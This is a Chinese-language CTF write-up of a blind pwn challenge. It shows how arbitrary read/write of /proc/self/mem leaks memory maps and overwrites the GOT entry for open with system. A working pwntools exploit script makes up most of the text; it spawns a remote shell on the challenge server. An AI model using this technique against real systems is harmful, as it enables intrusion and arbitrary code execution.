introduction
西湖击剑线上赛的时候碰到一道（web）题，通过 php 可以进行任意地址读写（当然总是拿不到shell或flag）。听师傅们说有一种很厉害的方法可以通过改 php 的 elf 获取到 shell。
/proc/self/maps 这个文件会显示该进程的所有段的权限信息
/proc/self/mem 这个文件保存了该进程的所有内存信息，可以直接读写
接下来 SuperGate 马上出了一道 CNSS 招新盲打题，做了一下，体验非常棒（咋不出成 d^3ctf 题呢，哭哭）
接下来记录一下我做题的心路历程。
challenge
analyze
题目给了任意地址读写（当然禁止读 flag 和 elf）
然后就没有任何提示了。
根据前面的分析，可以利用 /proc/self/maps ，读出 elf 的某个段（最直接能想到的就是 got 表所在的段了），然后分析数据，确定 open 所在的 got 表项，改掉它即可。
看了一下目标机器的 maps：
EquinoxFlower 占了五个段。
一开始没有注意 elf 是分段的，直接读取会使得偏移出错。
正确的做法是读取那个权限为 rw-p 的段，因为只有 got 表才可写。
dump 出 elf 的 got 所在段：
看到一堆 0x7f 开头的地址，盲猜是 got 表项，接下来就是把所有的地址拿到 libc_searcher 里面去尝试，我试出来一个 puts 一个 open，刚好对应一个特定版本的 libc：
刚好对应 got 表中的这个：
这样思路就有了：获取 maps，把 elf 对应的 open 函数的 got 表改掉，下一次 open(dir) 的时候会直接调用 system(dir)
exp
from pwn import *
import sys
#context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]
ver = '2.23'
elf_dir = './EquinoxFlower'
ld_dir = '/glibc/x64/{0}/lib/ld-{0}.so'.format(ver)
libc_dir = './libc-2.23.so'
#libc_dir = "/glibc/x64/{0}/lib/libc-{0}.so".format(ver)
if(len(sys.argv) == 1):
#p = process(elf_dir)
#p = process([elf_dir],env={"LD_PRELOAD": libc_dir})
p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
else:
p = remote('120.79.215.250', 20000)
def read_mem(path, off, size):
p.sendlineafter('path: ', path)
p.sendlineafter('>> ', '1')
p.sendlineafter('Offset: ', str(off))
p.sendlineafter('Length: ', str(size))
def write_mem(path, off, size, data):
p.sendlineafter('path: ', path)
p.sendlineafter('>> ', '2')
p.sendlineafter('Length: ', str(size))
p.sendafter('Content: ', data)
p.sendlineafter('Offset: ', str(off))
def get_mem(name, base, size):
f = open("./%s" % name, 'wb')
while True:
if size > 0x1000:
read_mem('/proc/self/mem', base, 0x1000)
f.write(p.recv(0x1000))
size -= 0x1000
base += 0x1000
else:
read_mem('/proc/self/mem', base, size)
f.write(p.recv(size))
break
f.close()
return
def get_file(src, name, base, size):
f = open("./%s" % name, 'wb')
while True:
if size > 0x1000:
read_mem(src, base, 0x1000)
f.write(p.recv(0x1000))
size -= 0x1000
base += 0x1000
else:
read_mem(src, base, size)
f.write(p.recv(size))
break
f.close()
return
read_mem('/proc/self/maps', 0, 0x1000)
elf_base = int(b'0x' + p.recv(len('556f6f17b000')), 16)
success("elf_base:" + hex(elf_base))
# dump ELF_got libc
"""
get_mem('EquinoxFlower_got', elf_base+0x4000, 0x1000)
get_file('/lib/x86_64-linux-gnu/libc-2.23.so', 'libc.so', 0, 0x200000)
"""
for i in range(5):
p.recvuntil('\n')
libc_base = int(b'0x'+p.recv(len("7fbb21a11000")) ,16)
system = libc_base + 0x0453a0
success("libc_base:" + hex(libc_base))
success("system:" + hex(system))
write_mem('/proc/self/mem', elf_base+0x4000+0x88, 0x8, p64(system))
p.sendlineafter('path: ', '/bin/sh')
p.sendline('cd /home/ctf')
# dump ELF
"""
p.sendline('cat EquinoxFlower')
p.sendline('pwd')
f = open('./EquinoxFlower', 'wb')
f.write(p.recvuntil('/home/ctf')[:-9])
f.close()
"""
# dump libc
"""
p.sendline('cat /lib/x86_64-linux-gnu/libc-2.23.so')
p.sendline('pwd')
f = open('./libc-2.23.so', 'wb')
f.write(p.recvuntil('/home/ctf')[:-9])
f.close()
"""
p.interactive()